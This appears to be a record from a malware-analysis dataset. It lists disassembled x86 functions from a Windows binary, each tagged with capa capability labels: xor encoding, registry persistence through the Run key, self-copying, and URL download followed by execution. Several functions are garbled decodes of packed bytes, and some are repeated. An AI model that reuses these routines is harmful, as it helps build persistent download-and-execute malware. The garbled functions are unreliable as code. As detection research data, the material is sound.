joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e5e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov word [ebp - 2], ax
xor eax, eax
push ebp
push 0x40e6b3
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
lea eax, [ebp - 0x10]
call fcn.00403ffc
mov si, word [ebp - 2]
dec esi
test si, si
jbe 0x40e640
mov bx, 1
movzx eax, di
mov edx, dword [ebp - 8]
movzx eax, byte [edx + eax]
xor ax, bx
add di, ax
inc edi
inc ebx
dec si
jne 0x40e629
movzx eax, di
mov edx, dword [ebp - 8]
movzx esi, byte [edx + eax]
xor si, word [ebp - 2]
test si, si
jbe 0x40e68d
mov bx, 1
movzx eax, di
movzx edx, bx
add eax, edx
mov edx, dword [ebp - 8]
movzx edx, byte [edx + eax]
movzx eax, bx
movzx ecx, word [ebp - 2]
add eax, ecx
add eax, 4
xor edx, eax
lea eax, [ebp - 0x14]
call fcn.004041e4
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
call fcn.004042b0
inc ebx
dec si
jne 0x40e657
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00404050
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e6ba
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00404020
ret

Function at 0x40e7b8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404498
mov eax, dword [ebp - 8]
call fcn.00404498
xor eax, eax
push ebp
push 0x40e870
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004044a8
mov esi, eax
push esi
push ebx
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x40e855
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
call sub.advapi32.dll_RegOpenKeyA
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004044a8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x40e84c
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.0040426c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e877
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
ret
Function at 0x40e880
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404498
mov eax, dword [ebp - 8]
call fcn.00404498
mov eax, dword [ebp + 0xc]
call fcn.00404498
xor eax, eax
push ebp
push 0x40e92e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004044a8
mov esi, eax
push esi
push ebx
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x40e90b
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [ebp + 0xc]
call fcn.004042a8
push eax
mov eax, dword [ebp + 0xc]
call fcn.004044a8
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.004044a8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e935
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
lea eax, [ebp + 0xc]
call fcn.00403ffc
ret

Function at 0x40e9cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x40ea40
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004042a8
mov esi, eax
test esi, esi
jle 0x40ea1f
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00404500
mov edx, edi
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + ebx - 1]
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x40ea06
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404050
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ea47
lea eax, [ebp - 4]
call fcn.00403ffc
ret
Function at 0x40f198
Capabilities:
Copy file
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x40f1a0
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
mov eax, dword [ebp - 8]
call fcn.00404498
xor eax, eax
push ebp
push 0x40f316
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20]
call fcn.0040e590
push dword [ebp - 0x20]
push 0x40f32c
push dword [ebp - 4]
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x1c]
call fcn.004044a8
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.004041f4
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
call fcn.004044a8
mov edx, eax
lea eax, [ebp - 0x24]
call fcn.004041f4
mov ecx, dword [ebp - 0x24]
mov edx, 0x40f33c
mov eax, 0x80000002
call fcn.0040e880
lea eax, [ebp - 0x34]
call fcn.0040e590
push dword [ebp - 0x34]
push 0x40f32c
push dword [ebp - 4]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x30]
call fcn.004044a8
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004041f4
mov eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
call fcn.004044a8
mov edx, eax
lea eax, [ebp - 0x38]
call fcn.004041f4
mov ecx, dword [ebp - 0x38]
mov edx, 0x40f33c
mov eax, 0x80000001
call fcn.0040e880
lea eax, [ebp - 0x3c]
call fcn.0040e590
push dword [ebp - 0x3c]
push 0x40f32c
push dword [ebp - 4]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404368
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.004043f4
je 0x40f2fb
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a8
mov ebx, eax
push ebx
lea edx, [ebp - 0x40]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0x40]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
push 5
push 0
push 0
push ebx
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f31d
lea eax, [ebp - 0x40]
mov edx, 0x10
call fcn.00404020
ret

Function at 0x40f4dc
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x40f54a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push dword [0x41588c]
push 0x40f560
lea eax, [ebp - 8]
call fcn.00407988
push dword [ebp - 8]
push 0x40f578
lea eax, [ebp - 4]
mov edx, 4
call fcn.00404368
mov eax, dword [ebp - 4]
call fcn.004044a8
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f551
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
ret
Function at 0x40f580
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x40f664
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov ecx, 0x40f678
mov edx, 0x40f688
mov eax, 0x80000002
call fcn.0040e7b8
mov eax, dword [ebp - 4]
mov edx, 0x40f6bc
call fcn.004043f4
jne 0x40f649
push 0
push 0
lea eax, [ebp - 8]
call fcn.0040e590
lea eax, [ebp - 8]
mov edx, 0x40f6c8
call fcn.004042b0
mov eax, dword [ebp - 8]
call fcn.004044a8
push eax
mov eax, dword [0x415888]
call fcn.004044a8
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
lea eax, [ebp - 0xc]
call fcn.0040e590
lea eax, [ebp - 0xc]
mov edx, 0x40f6c8
call fcn.004042b0
mov eax, dword [ebp - 0xc]
call fcn.0040e088
test al, al
je 0x40f644
push 5
push 0
push 0
lea eax, [ebp - 0x10]
call fcn.0040e590
lea eax, [ebp - 0x10]
mov edx, 0x40f6c8
call fcn.004042b0
mov eax, dword [ebp - 0x10]
call fcn.004044a8
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.0040f4dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f66b
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00404020
ret

Function at 0x40f9e0
Capabilities:
Check internet connectivity via wininet
Create thread

Disassembly:
push 0
push 1
push 0x40fb3c
call sub.wininet.dll_InternetCheckConnectionA
test eax, eax
je 0x40fb2b
call fcn.0040f3dc
call fcn.0040f580
push 0x415864
push 0
push 0
push 0x40f36c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x415890], eax
mov eax, dword [0x415868]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40fa49
push 0x415864
push 0
push 0
push 0x407c64
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x415894], eax
mov eax, dword [0x41586c]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40fa76
push 0x415864
push 0
push 0
push 0x40e538
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x415898], eax
mov eax, dword [0x415874]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40faa3
push 0x415864
push 0
push 0
push 0x40e540
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x41589c], eax
mov eax, dword [0x415878]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40fad0
push 0x415864
push 0
push 0
push 0x40e520
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4158a0], eax
mov eax, dword [0x41587c]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40fafd
push 0x415864
push 0
push 0
push 0x40e52c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4158a4], eax
mov eax, dword [0x415880]
mov edx, 0x40fb5c
call fcn.004043f4
jne 0x40fb3a
push 0x415864
push 0
push 0
push 0x40f3d4
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4158a4], eax
ret
push 0x1d4c0
call sub.KERNEL32.DLL_Sleep
call fcn.0040f9e0
ret
Function at 0x40fd80
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x40fc70
call fcn.00405318
mov ebx, 0x415848
xor eax, eax
push ebp
push 0x40fe8e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040f728
call fcn.0040e784
push 0
push 0x40fe9c
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0x14]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebp - 0x18]
call fcn.0040e590
lea eax, [ebp - 0x18]
mov edx, 0x40feb0
call fcn.004042b0
mov eax, dword [ebp - 0x18]
call fcn.0040e548
test al, al
jne 0x40fe1b
lea eax, [ebp - 0x1c]
call fcn.0040e590
lea eax, [ebp - 0x1c]
mov edx, 0x40feb0
call fcn.004042b0
mov eax, dword [ebp - 0x1c]
call fcn.004026bc
call fcn.0040261c
mov edx, dword [0x415884]
mov eax, dword [0x415880]
call fcn.0040f198
xor ecx, ecx
mov edx, 0x40febc
mov eax, 0x80000002
call fcn.0040d748
call fcn.0040eac4
call fcn.0040f9e0
jmp 0x40fe54
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push ebx
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x40fe48
mov eax, dword [0x410fb8]
call fcn.004030f8
call fcn.0040261c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fe95
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404020
ret
Function at 0x403849
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test dword [eax], eax
add byte [ebx + eax*4], ch
clc
or al, 0x74
xor al, 0
clc
push ss
je 0x403871
cmp eax, 0x22
add byte [eax], al
cmp eax, 0x50
je 0x40387f
fadd qword [eax]
inc eax
add byte [eax - 0x1ab718], al
add byte [eax], al
push edi
add byte [edi], al
add byte [edi], dl
pop es
sub bl, 0x7d
add byte [esi], cl
add byte [edi], al
sub bl, 0xed
pop ebp
add byte [eax], al
add bh, bh
push ebp
mov ebp, esp
or dword [eax + eax + 0x85d8b53], 0x33
sal byte [ebx], 0
add byte [edi + 0x66], dl
mov dword [ebp - 0x30], eax
pop edx
add byte [ebp + 0xa], dh
mov eax, 0x80070057
add byte [eax], al
add eax, 0x7d8b0000
jge 0x4038a9
cli
jne 0x4038b6
mov eax, 0x20008
add byte [edx + 5], dl
add byte [eax], al
mov esp, dword [eax + 0x5f98300]
jbe 0x4038c8
mov eax, 0x8000000e
jmp 0xcb403e08
add byte [ebp + 8], dl
cmp dword [edi + 0xc], edx
jbe 0x4038f9
add byte [eax], al
add al, 0x89
inc ebp
sbb al, 0x8b
inc esi
add byte [ebx + 0x73c13b00], cl
fisttp word [ebx + 0x1c450000]
add al, 3
xor al, byte [eax]
or byte [ecx - 0x74437a8c], cl
inc ebp
add byte [eax], al
ret 0x3b10
cmp dword [ebp + 8], ecx
jae 0x40391d
mov eax, dword [ebp]
add cl, dl
sub edx, dword [ebp + 8]
shr ecx, 0
add eax, dword [edi]
sub ecx, dword [ebp + 8]
lea edx, [eax + eax]
mov dword [edx], eax
add eax, 0x10
xor dword [eax], eax
add al, 0x49
jne 0x403912
cmp dword [ebp + 0x28], 0
add byte [ebx], al
add byte [edx], al
xor byte [ebp + 0x60], 0
inc ebp
sbb byte [ecx + 0x7d832845], cl
add byte [eax], al
jne 0x40393a
lea eax, [ebp - 0x30]
cmp byte [eax], al
and byte [ebp - 0xaf0fbb], cl
adc eax, fcn.00510000
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00510000]
mov eax, dword [ebp + 0xc]
call fcn.00404c4c
cmp eax, 0x12
sldt word [eax]
add al, 0
add byte [edx + 0x2000c4d], cl
pop edx
jmp dword [eax*4 + 0x3ef8]

Function at 0x40db40
Capabilities:
Encode data using xor

Disassembly:
out 0x62, al
test edx, eax
xchg esp, eax
jl 0x40db47
inc ebx
mov al, bl
invalid
Function at 0x41b879
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test dword [eax], eax
add byte [ebx + eax*4], ch
clc
or al, 0x74
xor al, 0
clc
push ss
je 0x41b8a1
cmp eax, 0x22
add byte [eax], al
cmp eax, 0x50
je 0x41b8af
fadd qword [eax]
inc eax
add byte [eax - 0x1ab718], al
add byte [eax], al
push edi
add byte [edi], al
add byte [edi], dl
pop es
sub bl, 0x7d
add byte [esi], cl
add byte [edi], al
sub bl, 0xed
pop ebp
add byte [eax], al
add bh, bh
push ebp
mov ebp, esp
or dword [eax + eax + 0x85d8b53], 0x33
sal byte [ebx], 0
add byte [edi + 0x66], dl
mov dword [ebp - 0x30], eax
pop edx
add byte [ebp + 0xa], dh
mov eax, 0x80070057
add byte [eax], al
add eax, 0x7d8b0000
jge 0x41b8d9
cli
jne 0x41b8e6
mov eax, 0x20008
add byte [edx + 5], dl
add byte [eax], al
mov esp, dword [eax + 0x5f98300]
jbe 0x41b8f8
mov eax, 0x8000000e
jmp 0xcb41be38
add byte [ebp + 8], dl
cmp dword [edi + 0xc], edx
jbe 0x41b929
add byte [eax], al
add al, 0x89
inc ebp
sbb al, 0x8b
inc esi
add byte [ebx + 0x73c13b00], cl
fisttp word [ebx + 0x1c450000]
add al, 3
xor al, byte [eax]
or byte [ecx - 0x74437a8c], cl
inc ebp
add byte [eax], al
ret 0x3b10
cmp dword [ebp + 8], ecx
jae 0x41b94d
mov eax, dword [ebp]
add cl, dl
sub edx, dword [ebp + 8]
shr ecx, 0
add eax, dword [edi]
sub ecx, dword [ebp + 8]
lea edx, [eax + eax]
mov dword [edx], eax
add eax, 0x10
xor dword [eax], eax
add al, 0x49
jne 0x41b942
cmp dword [ebp + 0x28], 0
add byte [ebx], al
add byte [edx], al
xor byte [ebp + 0x60], 0
inc ebp
sbb byte [ecx + 0x7d832845], cl
add byte [eax], al
jne 0x41b96a
lea eax, [ebp - 0x30]
cmp byte [eax], al
and byte [ebp - 0xaf0fbb], cl
adc eax, fcn.00510000
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00510000]
mov eax, dword [ebp + 0xc]
call fcn.0041cc7c
cmp eax, 0x12
sldt word [eax]
add al, 0
add byte [edx + 0x2000c4d], cl
pop edx
jmp dword [eax*4 + 0x3ef8]

Function at 0x423793
Capabilities:
Encode data using xor

Disassembly:
leave
jg 0x423813
pop es
push esi
pop esi
or al, byte [ebx]
aad 0x61
mov esi, dword [ecx]
cmp al, byte [ebp + 0x4ca03f9f]
int3
mov eax, 0xb3a98d4c
invalid
Function at 0x433909
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test dword [eax], eax
add byte [ebx + eax*4], ch
clc
or al, 0x74
xor al, 0
clc
push ss
je 0x433931
cmp eax, 0x22
add byte [eax], al
cmp eax, 0x50
je 0x43393f
fadd qword [eax]
inc eax
add byte [eax - 0x1ab718], al
add byte [eax], al
push edi
add byte [edi], al
add byte [edi], dl
pop es
sub bl, 0x7d
add byte [esi], cl
add byte [edi], al
sub bl, 0xed
pop ebp
add byte [eax], al
add bh, bh
push ebp
mov ebp, esp
or dword [eax + eax + 0x85d8b53], 0x33
sal byte [ebx], 0
add byte [edi + 0x66], dl
mov dword [ebp - 0x30], eax
pop edx
add byte [ebp + 0xa], dh
mov eax, 0x80070057
add byte [eax], al
add eax, 0x7d8b0000
jge 0x433969
cli
jne 0x433976
mov eax, 0x20008
add byte [edx + 5], dl
add byte [eax], al
mov esp, dword [eax + 0x5f98300]
jbe 0x433988
mov eax, 0x8000000e
jmp 0xcb433ec8
add byte [ebp + 8], dl
cmp dword [edi + 0xc], edx
jbe 0x4339b9
add byte [eax], al
add al, 0x89
inc ebp
sbb al, 0x8b
inc esi
add byte [ebx + 0x73c13b00], cl
fisttp word [ebx + 0x1c450000]
add al, 3
xor al, byte [eax]
or byte [ecx - 0x74437a8c], cl
inc ebp
add byte [eax], al
ret 0x3b10
cmp dword [ebp + 8], ecx
jae 0x4339dd
mov eax, dword [ebp]
add cl, dl
sub edx, dword [ebp + 8]
shr ecx, 0
add eax, dword [edi]
sub ecx, dword [ebp + 8]
lea edx, [eax + eax]
mov dword [edx], eax
add eax, 0x10
xor dword [eax], eax
add al, 0x49
jne 0x4339d2
cmp dword [ebp + 0x28], 0
add byte [ebx], al
add byte [edx], al
xor byte [ebp + 0x60], 0
inc ebp
sbb byte [ecx + 0x7d832845], cl
add byte [eax], al
jne 0x4339fa
lea eax, [ebp - 0x30]
cmp byte [eax], al
and byte [ebp - 0xaf0fbb], cl
adc eax, fcn.00510000
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00510000]
mov eax, dword [ebp + 0xc]
call fcn.00434d0c
cmp eax, 0x12
sldt word [eax]
add al, 0
add byte [edx + 0x2000c4d], cl
pop edx
jmp dword [eax*4 + 0x3ef8]
Function at 0x43ec01
Capabilities:
Encode data using xor

Disassembly:
cmpxchg byte [ebp + 0x60], al
xchg ecx, eax
inc ecx
pop edi
cdq
stosb byte es:[edi], al
out dx, eax
imul edx, dword [eax + 0x5c805436], 3
shr byte [ebx + 0x17c84127], 1
mov ds, edi
mov bl, 0x45
pushfd
mov edi, dword [ebp + 0x41]
cmp eax, 0x7b56a1d2
jp 0x43eaaf
sbb edx, dword [esi + 0x4b43910]
call 0x99aad66
sbb byte gs:[eax - 0x70], ch
cmp byte [esi - 0x4e], bl
xchg edi, eax
outsd dx, dword [esi]
inc eax
out 0x1e, al
cli
call 0xd43d9f0e
cld
adc esp, edx
invalid
mov bl, 0xf7
dec ebp
push esp
in eax, 0x11
je 0x43ea8e
mov esp, eax
ljmp 0x8fa0
adc dword [edi + ebx*4], edi
or ah, byte [eax + 0x74370f8f]
scasd eax, dword es:[edi]
push ecx
mov edi, 0xb75f266d
std
sal byte [edx - 0x5791511c], 1
add edx, ebp
loop 0x43eaa4
mov dl, cl
xchg esp, eax
add eax, 0x2947af31
mov cl, 0xc1
sbb eax, 0xe8daf408
neg byte [ecx]
sbb edi, dword [eax]
loop 0x43eb4a
rcr dword [0xe8daf408], 0xf6
sbb dword [ebx], ebx
cmp dl, ah
imul ecx, ecx, 0x13
fcmovb st(0), st(4)
jge 0x43eb21
leave
adc ebx, edx
les edi, [ebp + 0x3c]
stosb byte es:[edi], al
inc eax
ror dword [eax - 0x63], 1
dec edx
test dword [eax - 0x23caa4e5], 0xe8e81d38
fisttp word ds:[eax + 0x6a]
fst dword [edi]
fcomi st(0)
push es
xor edi, dword [esi + edi*2 - 0xa]
dec edi
xor esp, dword [esi]
outsb dx, byte [esi]
out dx, al
call 0x7e58a28f
push 0x1bc20a9b
mov cl, byte [esi - 0x463fde79]
sbb dword [esi], ebp
in eax, dx
jo 0x43ead3
jmp 0x43eb59
invalid
fcomp qword [eax - 0x3d]
cld
mov word [edx - 0x47bb6e58], fs
mov al, byte [0xbae68901]
test dword [edx], esp
cmp eax, 0x14266cbc
cmc
xchg edi, eax
push esp
fild dword [ebx - 0x3c]
cli
nop
fstp qword [edi]
jge 0x43eba3
fcom dword ss:[edi - 0x3f8f0e1e]
fcom dword [edi - 0x3f8f0e1e]
daa
sub byte [edi + 0x9ce4b81], 0x75
xchg ebx, eax
out dx, eax
and cl, dl
popfd
sahf
jae 0x43ebf6
sbb eax, edx
enter 0x827, 0xffffffffffffffc3
mov ch, 0x99
pop eax
out dx, al
aas
mov esi, 0x2c130dda
xchg edi, eax
jo 0x43eb6c
xor ebx, dword [ecx + ebp + 0x15]
cmpsd dword [esi], dword es:[edi]
sbb eax, 0xe6ddafae
pop ds
mov ecx, 0xf4cc8fa7
mov eax, dword [0x21756c36]
arpl di, si
inc esi
scasb al, byte es:[edi]
int 0xd4
hlt
hlt
mov dl, 0xf8
inc esi
retf
jnp 0x43ebd0
push 0xffffffffffffffcf
mov word [esi + 0x553b6dc6], cs
imul edx, dword [ebp + 0x62759ae7], 0x5e
xchg ebp, eax
out 0x9a, eax
jne 0x43ec68
pop esi
push ebp
lodsd eax, dword [esi]
mov eax, 0x82ac818e
xor esi, dword [ebx - 0x71]
push eax
jnp 0x43eba7
mov ebp, 0x622d7ad7
cwde
pop ebp
push es
invalid
Function at 0x44b609
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test dword [eax], eax
add byte [ebx + eax*4], ch
clc
or al, 0x74
xor al, 0
clc
push ss
je 0x44b631
cmp eax, 0x22
add byte [eax], al
cmp eax, 0x50
je 0x44b63f
fadd qword [eax]
inc eax
add byte [eax - 0x1ab718], al
add byte [eax], al
push edi
add byte [edi], al
add byte [edi], dl
pop es
sub bl, 0x7d
add byte [esi], cl
add byte [edi], al
sub bl, 0xed
pop ebp
add byte [eax], al
add bh, bh
push ebp
mov ebp, esp
or dword [eax + eax + 0x85d8b53], 0x33
sal byte [ebx], 0
add byte [edi + 0x66], dl
mov dword [ebp - 0x30], eax
pop edx
add byte [ebp + 0xa], dh
mov eax, 0x80070057
add byte [eax], al
add eax, 0x7d8b0000
jge 0x44b669
cli
jne 0x44b676
mov eax, 0x20008
add byte [edx + 5], dl
add byte [eax], al
mov esp, dword [eax + 0x5f98300]
jbe 0x44b688
mov eax, 0x8000000e
jmp 0xcb44bbc8
add byte [ebp + 8], dl
cmp dword [edi + 0xc], edx
jbe 0x44b6b9
add byte [eax], al
add al, 0x89
inc ebp
sbb al, 0x8b
inc esi
add byte [ebx + 0x73c13b00], cl
fisttp word [ebx + 0x1c450000]
add al, 3
xor al, byte [eax]
or byte [ecx - 0x74437a8c], cl
inc ebp
add byte [eax], al
ret 0x3b10
cmp dword [ebp + 8], ecx
jae 0x44b6dd
mov eax, dword [ebp]
add cl, dl
sub edx, dword [ebp + 8]
shr ecx, 0
add eax, dword [edi]
sub ecx, dword [ebp + 8]
lea edx, [eax + eax]
mov dword [edx], eax
add eax, 0x10
xor dword [eax], eax
add al, 0x49
jne 0x44b6d2
cmp dword [ebp + 0x28], 0
add byte [ebx], al
add byte [edx], al
xor byte [ebp + 0x60], 0
inc ebp
sbb byte [ecx + 0x7d832845], cl
add byte [eax], al
jne 0x44b6fa
lea eax, [ebp - 0x30]
cmp byte [eax], al
and byte [ebp - 0xaf0fbb], cl
adc eax, fcn.00510000
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00510000]
mov eax, dword [ebp + 0xc]
call fcn.0044ca0c
cmp eax, 0x12
sldt word [eax]
add al, 0
add byte [edx + 0x2000c4d], cl
pop edx
jmp dword [eax*4 + 0x3ef8]

Function at 0x455150
Capabilities:
Encode data using xor

Disassembly:
cdq
xchg byte gs:[ebp + 0x23a7d463], al
lodsd eax, dword [esi]
invalid
Function at 0x4632e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test dword [eax], eax
add byte [ebx + eax*4], ch
clc
or al, 0x74
xor al, 0
clc
push ss
je 0x463311
cmp eax, 0x22
add byte [eax], al
cmp eax, 0x50
je 0x46331f
fadd qword [eax]
inc eax
add byte [eax - 0x1ab718], al
add byte [eax], al
push edi
add byte [edi], al
add byte [edi], dl
pop es
sub bl, 0x7d
add byte [esi], cl
add byte [edi], al
sub bl, 0xed
pop ebp
add byte [eax], al
add bh, bh
push ebp
mov ebp, esp
or dword [eax + eax + 0x85d8b53], 0x33
sal byte [ebx], 0
add byte [edi + 0x66], dl
mov dword [ebp - 0x30], eax
pop edx
add byte [ebp + 0xa], dh
mov eax, 0x80070057
add byte [eax], al
add eax, 0x7d8b0000
jge 0x463349
cli
jne 0x463356
mov eax, 0x20008
add byte [edx + 5], dl
add byte [eax], al
mov esp, dword [eax + 0x5f98300]
jbe 0x463368
mov eax, 0x8000000e
jmp 0xcb4638a8
add byte [ebp + 8], dl
cmp dword [edi + 0xc], edx
jbe 0x463399
add byte [eax], al
add al, 0x89
inc ebp
sbb al, 0x8b
inc esi
add byte [ebx + 0x73c13b00], cl
fisttp word [ebx + 0x1c450000]
add al, 3
xor al, byte [eax]
or byte [ecx - 0x74437a8c], cl
inc ebp
add byte [eax], al
ret 0x3b10
cmp dword [ebp + 8], ecx
jae 0x4633bd
mov eax, dword [ebp]
add cl, dl
sub edx, dword [ebp + 8]
shr ecx, 0
add eax, dword [edi]
sub ecx, dword [ebp + 8]
lea edx, [eax + eax]
mov dword [edx], eax
add eax, 0x10
xor dword [eax], eax
add al, 0x49
jne 0x4633b2
cmp dword [ebp + 0x28], 0
add byte [ebx], al
add byte [edx], al
xor byte [ebp + 0x60], 0
inc ebp
sbb byte [ecx + 0x7d832845], cl
add byte [eax], al
jne 0x4633da
lea eax, [ebp - 0x30]
cmp byte [eax], al
and byte [ebp - 0xaf0fbb], cl
adc eax, fcn.00510000
lea eax, [ebp - 0x10]
push eax
call dword [fcn.00510000]
mov eax, dword [ebp + 0xc]
call fcn.004646ec
cmp eax, 0x12
sldt word [eax]
add al, 0
add byte [edx + 0x2000c4d], cl
pop edx
jmp dword [eax*4 + 0x3ef8]